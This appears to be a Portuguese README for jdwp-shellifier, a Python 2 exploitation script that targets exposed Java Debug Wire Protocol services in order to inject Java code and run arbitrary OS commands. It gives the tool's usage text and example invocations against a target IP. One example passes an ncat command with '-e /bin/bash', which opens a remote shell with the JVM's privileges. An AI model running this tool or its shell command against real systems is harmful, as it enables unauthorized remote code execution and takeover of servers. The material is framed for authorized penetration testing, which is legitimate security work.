
Script de exploração para serviços expostos do Java Debug Wire Protocol (JDWP), permitindo que pentesters injetem código Java e executem comandos arbitrários do SO em JVMs alvo.
Este script de exploração é destinado a pentesters contra serviços JDWP ativos, para obter Execução Remota de Código.
Bem, de uma forma bastante padrão, o script requer apenas um interpretador Python 2:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Para direcionar um host/porta específico:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Este comando irá apenas injetar código Java na JVM e mostrar algumas informações como Sistema Operacional, versão do Java. Como ele não executa código/binário externo, é totalmente seguro e pode ser usado como Prova de Conceito
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Este comando irá realmente executar o processo ncat com o argumento especificado, com os direitos concedidos à JVM em execução.
Antes de enviar perguntas, certifique-se de ler http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html para entender completamente o protocolo JDWP.